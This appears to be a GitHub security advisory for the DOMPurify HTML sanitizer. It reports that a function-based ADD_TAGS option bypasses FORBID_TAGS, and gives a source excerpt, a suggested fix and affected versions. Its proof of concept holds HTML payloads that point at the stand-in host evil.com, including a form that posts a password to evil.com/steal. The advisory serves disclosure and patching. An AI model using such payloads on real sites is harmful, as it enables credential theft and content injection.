DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | dompurify | < 3.4.0 | 3.4.0 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-183, CWE-79- Plataforma
- npm
- Paquete
dompurify- Publicada
- 22.04.2026
- Actualizado
- 11.10.2026 10:22
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OSV / GitHub Advisory Database - GHSA-h7mw-gpvr-xq4m - CC BY 4.0
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